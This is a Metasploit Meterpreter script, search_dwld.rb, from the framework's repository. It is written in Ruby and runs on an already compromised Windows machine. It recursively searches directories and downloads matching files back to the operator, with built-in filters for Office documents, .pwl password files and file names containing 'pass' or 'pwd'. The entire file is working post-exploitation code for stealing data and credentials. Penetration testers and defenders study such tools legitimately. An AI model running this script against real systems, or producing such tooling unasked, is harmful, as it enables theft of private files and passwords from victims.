metasploit-framework/scripts/meterpreter/search_dwld.rb

108 lines
2.8 KiB
Ruby

##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##
## Meterpreter script that recursively search and download
## files matching a given pattern
## Provided by Nicob <nicob [at] nicob.net>
## == WARNING ==
## As said by mmiller, this kind of script is slow and noisy :
## http://www.metasploit.com/archive/framework/msg01670.html
## However, it can sometimes save your ass ;-)
## == WARNING ==
# Filters
$filters = {
'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$',
'win9x' => '\.pwl$',
'passwd' => '(pass|pwd)',
}
@@opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
def usage
print_line "search_dwld -- recursively search for and download files matching a given pattern"
print_line "USAGE: run search_dwld [base directory] [filter] [pattern]"
print_line
print_line "filter can be a defined pattern or 'free', in which case pattern must be given"
print_line "Defined patterns:"
print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n")
print_line
print_line "Examples:"
print_line " run search_dwld"
print_line " => recursively look for (MS|Open)Office in C:\\"
print_line " run search_dwld %USERPROFILE% win9x"
print_line " => recursively look for *.PWL files in the user home directory"
print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'"
print_line " => recursively look for pictures in the E: drive"
print_line(@@opts.usage)
raise Rex::Script::Completed
end
@@opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
def scan(path)
begin
dirs = client.fs.dir.foreach(path)
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Error scanning #{path}: #{$!}")
return
end
dirs.each {|x|
next if x =~ /^(\.|\.\.)$/
fullpath = path + '\\' + x
if client.fs.file.stat(fullpath).directory?
scan(fullpath)
elsif fullpath =~ /#{$motif}/i
# Replace ':' or '%' or '\' by '_'
dst = fullpath.tr_s(":|\%|\\", "_")
dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst)
print_line("Downloading '#{fullpath}' to '#{dst}'")
client.fs.file.download_file(dst, fullpath)
end
}
end
#check for proper Meterpreter Platform
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
unsupported if client.platform != 'windows'
# Get arguments
basedir = args[0] || "C:\\"
filter = args[1] || "office"
# Set the regexp
if filter == 'free'
if args[2].nil?
raise "free filter requires pattern argument"
end
$motif = args[2]
else
$motif = $filters[filter]
end
if $motif.nil?
raise "Unrecognized filter"
end
# Search and download
scan(basedir)